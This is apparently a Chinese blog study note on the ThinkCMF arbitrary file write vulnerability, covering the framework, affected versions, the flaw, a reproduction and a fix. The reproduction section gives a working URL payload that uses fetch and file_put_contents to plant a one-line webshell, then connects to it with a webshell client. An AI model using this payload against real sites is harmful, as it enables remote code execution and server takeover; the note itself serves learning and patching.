ThinkCMF任意文件写入漏洞----学习记录

ThinkCMF框架任意文件写入漏洞

一、ThinkCMF介绍:

ThinkCMF是一款基于ThinkPHP+MYSQL开发的中文内容管理框架。ThinkCMF提出灵活的应用机制,框架自身提供基础的管理功能,而开发者可以根据自身的需求以应用的形式进行扩展。每个应用都能独立的完成自己的任务,也可通过系统调用其他应用进行协同工作。在这种运行机制下,开发商场应用的用户无需关心开发SNS应用时如何工作的,但他们之间又可通过系统本身进行协调,大大的降低了开发成本和沟通成本

普通的CMS(内容管理系统)一般不能完成所有的需求,而因为CMS在ThinkCMF内部只是以一个应用的形式存在,所以使用ThinkCMF你可以用CMS来管理你的内容,用电影网站系统来管理视频,用电商系统来管理电商网站。这些程序不会影响,你可以模块化的增加或减少应用。
ThinkCMF自身层次非常清晰,逻辑也相当的严谨,特别是系统自带的portal应用非常适合PHP初学者使用。采用了国内优秀的开源php框架ThinkPHP使得ThinkCMF具备了优秀的性能以及良好的安全性。

二、影响版本

ThinkCMF X1.6.0
ThinkCMF X2.1.0
ThinkCMF X2.2.0
ThinkCMF X2.2.1
ThinkCMF X2.2.2
ThinkCMF X2.2.3

三、漏洞原理

ThinkCMF是一款基于PHP+MYSQL开发的中文内容管理框架,底层采用ThinkPHP3.2.3构建。攻击者可利用此漏洞构造恶意的url,向服务器写入任意内容的文件,达到远程代码执行的目的。

四、漏洞复现
访问目标网址
ThinkCMF任意文件写入漏洞----学习记录_第1张图片
写入一句话木马文件 ,测试payload:?a=fetch&templateFile=public/index&prefix=%27%27&content=file_put_contents(%27in.php%27,%27%27)

回车后,显示空白页面
ThinkCMF任意文件写入漏洞----学习记录_第2张图片
成功上传文件,利用菜刀连接刚才一句话木马
ThinkCMF任意文件写入漏洞----学习记录_第3张图片
连接成功

五、漏洞修复建议
将 HomebaseController.class.php 和 AdminbaseController.class.php 类中 display 和 fetch 函数的修饰符改为 protected

你可能感兴趣的:(ThinkCMF任意文件写入漏洞----学习记录)